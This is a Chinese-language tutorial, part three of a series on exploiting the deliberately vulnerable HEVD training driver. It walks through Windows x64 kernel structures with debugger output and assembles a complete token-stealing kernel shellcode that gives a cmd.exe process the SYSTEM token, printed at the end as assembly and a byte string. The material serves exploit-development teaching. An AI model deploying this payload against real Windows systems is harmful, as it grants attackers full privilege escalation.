HEVD 内核攻击: 编写Shellcode(三)

xiaohui 技术 2017年3月27日发布
Favorite收藏

导语:在上一篇文章中,我们已经能以可控的方式使用内核了。但是,当创建Windows内核漏洞利用时,目标通常都是希望以某种方式获得更高的权限,通常是SYSTEM权限。这时我们就必须用到内核有效载荷。

1490085675715262.png

在上一篇文章中,我们已经能以可控的方式使用内核了。但是,当创建Windows内核漏洞利用时,目标通常都是希望以某种方式获得更高的权限,通常是SYSTEM权限。这时我们就必须用到内核有效载荷。

窃取进程token

使用这个方法的最终目标是使用SYSTEM级别访问权限打开命令提示符。一旦我们在 ring 0中获取了执行的控制权限,就有办法来打开命令提示符。最常用的方法是窃取特权进程的进程token, Windows安全模型非常复杂的,不过我们这里有一些简化方法。

在Windows中,一切都可以被认为是一个对象(包括进程,文件,token等)。Windows使用称为安全描述符的结构来保证对象的安全(SECURITY_DESCRIPTOR)。安全描述符是 Windows 创建对象时所基于的结构的一个主要部分。这意味着 Windows可识别的每一个对象(可以是文件对象、注册表键、网络共享、互斥量、信号灯、进程、线程、令牌、硬件、服务、驱动……)都可以保证其安全。安全描述符结构既存在于内核模式也存在于用户模式,而且在两个模式中是一致的。

也就是说每个对象都由token标识。 SYSTEM token具有对任何对象执行任何活动的完全权限。因此,如果我们可以获得SYSTEM token并将其复制到局较少特权token的顶部,那么我们将获得对所有内容的完全访问权限。

为了实现这完全访问权限的目的,我们必须使用堆栈的缓冲区溢出,把驱动程序执行重定向到一个内存区域,不过这需要为重定向分配一些可执行内存,并在触发溢出之前,先将我们的shellcode进行复制。因为我们不能使用msfvenom转储一些粘贴过来的内核shellcode,所以我们必须另想办法。

为了编写一个全新的shellcode,我们必须了解一些我们将要处理的数据结构和对象。这些数据结构将帮助我们从静态位置转变到我们想要交换的进程token。

KPCR

由于Windows需要支持多个CPU, 因此Windows内核中为此定义了一套以处理器控制区(Processor Control Region)即KPCR为枢纽的数据结构, 使每个CPU都有个KPCR. 其中KPCR这个结构中有一个域KPRCB(Kernel Processor Control Block)结构, 这个结构扩展了KPCR. 这两个结构用来保存与线程切换相关的全局信息。

这对我们编写Shellcode很有用,因为在X86 CPU中,FS段寄存器用于指向线程环境块(TEB)和处理器控制区(Processor Control Region, KPCR),但是,在X64上,GS段寄存器在用户态是指向TEB,在内核态是指向KPCR

所以KPCR总是在gs:[0]处可用,当你创建与位置无关的代码时,这是很方便的:

0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   ...
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB

上面的结构代码看起来非常有趣,但我们关心的主要是列表中的最后一行,KPCR.Prcb是一个KPRCB结构。

KPRCB

从KPCR,我们可以得到内核处理器控制块(KPRCB),其中包含了指向当前线程的KTHREAD结构的指针。我们之所以关心这一点,是因为它为我们提供了处理器正在执行的线程的KTHREAD结构的位置。这个结构相当巨大,所以我列出前八行:

0: kd> dt nt!_KPRCB
   +0x000 MxCsr            : Uint4B
   +0x004 LegacyNumber     : UChar
   +0x005 ReservedMustBeZero : UChar
   +0x006 InterruptRequest : UChar
   +0x007 IdleHalt         : UChar
   +0x008 CurrentThread    : Ptr64 _KTHREAD
   +0x010 NextThread       : Ptr64 _KTHREAD
   +0x018 IdleThread       : Ptr64 _KTHREAD
   ...

因此,上面的KeGetCurrentThread 代码实际上是一条访问fs 寄存器加上特定偏移的指令。

在gs:[188]获得了当前线程的KTHREAD 结构指针以后,便可以很方便地获得ETHREAD 结构的指针,以及进程KPROCESS 或EPROCESS 结构的指针。在执行体层上获得当前线程和进程的函数分别是PsGetCurrentThread 和PsGetCurrentProcess。

KTHREAD

要了解KTHREAD,我们得先了解一下ETHREAD,我们知道,windows内核中的执行体层负责各种与管理和策略相关的功能,而内核层(微内核)实现了操作系统的核心机制。进程和线程在这两层上都有对应的数据结构。

ETHREAD(执行体线程块)是执行体层上的线程对象的数据结构。在windows内核中,每个进程的每一个线程都对应着一个ETHREAD数据结构。

而KTHREAD结构就是ETHREAD结构的第一部分,并且维护关于当前正在执行的线程的一些低级信息。我们的主要是想找到KTHREAD.ApcState,因为它是KAPC_STATE结构。以下是KTHREAD结构图:

0: kd> dt nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 CycleTime        : Uint8B
   +0x020 QuantumTarget    : Uint8B
   +0x028 InitialStack     : Ptr64 Void
   +0x030 StackLimit       : Ptr64 Void
   ...
   +0x050 ApcState         : _KAPC_STATE
   +0x050 ApcStateFill     : [43] UChar
   +0x07b Priority         : Char
   +0x07c NextProcessor    : Uint4B
   +0x080 DeferredProcessor : Uint4B
   +0x088 ApcQueueLock     : Uint8B
   +0x090 WaitStatus       : Int8B
   +0x098 WaitBlockList    : Ptr64 _KWAIT_BLOCK
   +0x0a0 WaitListEntry    : _LIST_ENTRY
   +0x0a0 SwapListEntry    : _SINGLE_LIST_ENTRY
   +0x0b0 Queue            : Ptr64 _KQUEUE
   +0x0b8 Teb              : Ptr64 Void
   ...

KAPC_STATE

每个线程都跟踪与其相关联的进程,KAPC_STATE结构非常简单:

0: kd> dt nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x020 Process          : Ptr64 _KPROCESS
   +0x028 KernelApcInProgress : UChar
   +0x029 KernelApcPending : UChar
   +0x02a UserApcPending   : UChar

现在,我们终于进入到KPROCESS的结构中。 KPROCESS结构类似于KTHREAD,是EPROCESS结构的第一部分。因为我们已经有了KPRCB.CurrentThread指针,所以我们知道我们正在寻找的KAPC_STATE.Process是在KPRCB.CurrentThread + 50 + 20的位置,我们可以再次做一些硬核处理,到当前的KAPC_STATE.Process添加70指向KPRCB.CurrentThread指针。

EPROCESS

EPROCESS块中不仅包含了进程相关的很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程环境)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。

EPROCESS内部结构如下:

0: kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x160 ProcessLock      : _EX_PUSH_LOCK
   +0x168 CreateTime       : _LARGE_INTEGER
   +0x170 ExitTime         : _LARGE_INTEGER
   +0x178 RundownProtect   : _EX_RUNDOWN_REF
   +0x180 UniqueProcessId  : Ptr64 Void
   +0x188 ActiveProcessLinks : _LIST_ENTRY
   ...
   +0x208 Token            : _EX_FAST_REF
   ...
   +0x2d8 Session          : Ptr64 Void
   +0x2e0 ImageFileName    : [15] UChar
   +0x2ef PriorityClass    : UChar
   +0x2f0 JobLinks         : _LIST_ENTRY
   +0x300 LockedPagesList  : Ptr64 Void
   +0x308 ThreadListHead   : _LIST_ENTRY
   +0x318 SecurityPort     : Ptr64 Void
   +0x320 Wow64Process     : Ptr64 Void
   +0x328 ActiveThreads    : Uint4B
   +0x32c ImagePathHash    : Uint4B
   +0x330 DefaultHardErrorProcessing : Uint4B
   +0x334 LastThreadExitStatus : Int4B
   +0x338 Peb              : Ptr64 _PEB
    ...

EPROCESS.UniqueProcessId

EPROCESS.UniqueProcessId是带有当前进程PID的qword。这一点很重要,因为我们需要找到UniqueProcessId为“4”的EPROCESS结构,以便我们知道当前的SYSTEM进程,找到它的token。

1490159575690949.jpg

EPROCESS.ActiveProcessLinks

EPROCESS块中有一个ActiveProcessLinks,它是一个PLIST_ENTRY结构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。

这意味着列表中的每个条目都指向另一个进程的EPROCESS结构,偏移量高于EPROCESS基址的+188意味着每个条目在每个活动进程的UniqueProcessId之上偏移+8。

EPROCESS.Token

最后,EPROCESS.Token是分配给进程的访问Token。大家可能已经注意到Token是以EX_FAST_REF结构表示的。 Windows通过使用Token的结尾地址来让所有Token都对齐,并以0结尾。如下所示,大家可以看到偏移量+208处的指针与process debugger扩展名列出的Token不完全匹配,但可以使用一些布尔值算术:

0: kd> !process
PROCESS fffffa8004034a40
    SessionId: 1  Cid: 0d34    Peb: 7efdf000  ParentCid: 0570
    DirBase: 0af6b000  ObjectTable: fffff8a0050b42c0  HandleCount: 130.
    Image: pythonw.exe
    VadRoot fffffa8003d67b70 Vads 97 Clone 0 Private 1822. Modified 0. Locked 0.
    DeviceMap fffff8a00010b5c0
    Token                             fffff8a00383aa00
    ...
0: kd> dq fffffa8004034a40+208 l1
fffffa80`04034c48  fffff8a0`0383aa0f
0: kd> ? poi(fffffa8004034a40+208) & fffffffffffffff0
Evaluate expression: -8108839294464 = fffff8a0`0383aa00

把这些概念了解清楚之后,我们就可以开始编写我们的shellcode了,总共分6步

1.获取KTHREAD和EPROCESS指针

2.遍历ActiveProcessLinks列表以找到UniqueProcessId为4(SYSTEM)的EPROCESS,

3.保存SYSTEM Token

4.进入ActiveProcessLinks列表以找到与我们的shell(cmd.exe)相关联的EPROCESS,

5.将SYSTEM Token复制到cmd.exe Token的顶部

6.恢复shellcode

第一步,获取KTHREAD和EPROCESS指针

如前所述,这一步超级简单。 gs:[0]是KPRCR加上+180的KPRCB加+8的KTHREAD指针; KTHREAD指针加上+50是KAPC_STATE加上+20的EPROCESS指针:

start:
    mov rdx, [gs:188h]  ;KTHREAD pointer
    mov r8, [rdx+70h]   ;EPROCESS pointer

第二步,遍历ActiveProcessLinks

EPROCESS.ActiveProcessLinks是一个双向链表,意味着结构以一个指向下一个条目的指针开始,后面跟着一个指向前一个条目的指针,后面是实际条目。列表从EPROCESS结构基址的+188偏移处开始。每个条目指向每个活动进程的EPROCESS.ActiveProcessLinks列表。我们之前看到EPROCESS.UniqueProcessId与EPROCESS.ActiveProcessLinks列表的基址相对偏移为-8。我们将列表的头部加载到r9寄存器中,将第一个条目加载到rcx中,然后对列表中的每个条目设置一个循环遍历,查找UniqueProcessId 4:

mov r9, [r8+188h]    ;ActiveProcessLinks list head
    mov rcx, [r9]        ;follow link to first process in list
find_system:
    mov rdx, [rcx-8]     ;ActiveProcessLinks - 8 = UniqueProcessId
    cmp rdx, 4           ;UniqueProcessId == 4? 
    jz found_system      ;YES - move on
    mov rcx, [rcx]       ;NO - load next entry in list
    jmp find_system      ;loop

当这个循环运行完毕,我们就应该使用rcx寄存器,它包含一个指向+188偏移的指针,该指针指向SYSTEM进程的EPROCESS。

第三步,保存SYSTEM Token地址

保存SYSTEM Token很容易做到。 rax寄存器可以用来进行保存。此时,rcx指向SYSTEM EPROCESS + 188,我们想要的Token就在EPROCESS + 208。这意味着我们只需将rcx + 80移动到rax中,然后修改低4位的值以获得我们的SYSTEM Token指针:

found_system:
    mov rax, [rcx+80h]    ;offset to token
    and al, 0f0h          ;clear low 4 bits of _EX_FAST_REF structure

第四步,进入ActiveProcessLinks列表

这基本上与步骤二相同。唯一的区别是,我们要搜索产生的cmd.exe进程的PID,而不是PID“4”。我们将在下一篇为大家分析如何在Python中实现这些:

find_cmd:
    mov rdx, [rcx-8]    ;ActiveProcessLinks - 8 = UniqueProcessId
    cmp rdx, 1234h      ;UniqueProcessId == XXXX? (PLACEHOLDER)
    jz found_cmd        ;YES - move on
    mov rcx, [rcx]      ;NO - next entry in list
    jmp find_cmd        ;loop

这时在rcx会有一个地址指向cmd.exe的EPROCESS + 188。至此,我们就完成了Token的搜索。

第五步,将SYSTEM Token复制到cmd.exe Token

我们在rax中有SYSTEM Token,在rcx + 80中有cmd.exe Token。

found_cmd:
    mov [rcx+80h], rax    ;copy SYSTEM token over top of this process's token

至此我们就有一个shell运行下的SYSTEM权限。

第六步,恢复shellcode 

在溢出点处,堆栈包含了指向HEVD驱动器在rsp + 28处的地址:

0: kd> ?poi(rsp+28)
Evaluate expression: -8246261640726 = fffff880`048111ea
0: kd> u fffff880048111ea l1
HEVD+0x61ea:
fffff880`048111ea 488d0d6f110000  lea     rcx,[HEVD+0x7360 (fffff880`04812360)]

正如上所示,地址指向了HEVD + 0x61ea。这个地址有什么用呢?看看我们在上一篇文章提到的这个图,你就知道了。

1490159789542330.jpg

HEVD + 0x61ea刚好是返回地址回到IOCTL的调度表, HACKSYS_EVD_STACKOVERFLOW处理程序被调用!以下是简单的恢复步骤:

return:
    add rsp, 28h    ;HEVD+0x61ea
    ret

这包含了我们在shellcode中需要完成的一切!

我们将在下一篇文章中,讨论如何在Python漏洞中实现shellcode。

这是shellcode的最终形式:

[BITS 64]
; Windows 7 x64 token stealing shellcode
; based on http://mcdermottcybersecurity.com/articles/x64-kernel-privilege-escalation
start:
    mov rdx, [gs:188h]   ;KTHREAD pointer
    mov r8, [rdx+70h]    ;EPROCESS pointer
    mov r9, [r8+188h]    ;ActiveProcessLinks list head
    mov rcx, [r9]        ;follow link to first process in list
find_system:
    mov rdx, [rcx-8]     ;ActiveProcessLinks - 8 = UniqueProcessId
    cmp rdx, 4           ;UniqueProcessId == 4? 
    jz found_system      ;YES - move on
    mov rcx, [rcx]       ;NO - load next entry in list
    jmp find_system      ;loop
found_system:
    mov rax, [rcx+80h]   ;offset to token
    and al, 0f0h         ;clear low 4 bits of _EX_FAST_REF structure
find_cmd:
    mov rdx, [rcx-8]     ;ActiveProcessLinks - 8 = UniqueProcessId
    cmp rdx, 1234h       ;UniqueProcessId == ZZZZ? (PLACEHOLDER)
    jz found_cmd         ;YES - move on
    mov rcx, [rcx]       ;NO - next entry in list
    jmp find_cmd         ;loop
found_cmd:
    mov [rcx+80h], rax   ;copy SYSTEM token over top of this process's token
return:
    add rsp, 28h         ;HEVD+0x61ea
    ret
;String literal (replace xZZ's with PID):
;"x65x48x8Bx14x25x88x01x00x00x4Cx8Bx42x70x4Dx8Bx88"
;"x88x01x00x00x49x8Bx09x48x8Bx51xF8x48x83xFAx04x74"
;"x05x48x8Bx09xEBxF1x48x8Bx81x80x00x00x00x24xF0x48"
;"x8Bx51xF8x48x81xFAxZZxZZxZZxZZx74x05x48x8Bx09xEB"
;"xEEx48x89x81x80x00x00x00x48x83xC4x28xC3"
本文参考来源于sizzop.github,如若转载,请注明来源于嘶吼: http://www.4hou.com/technology/3942.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论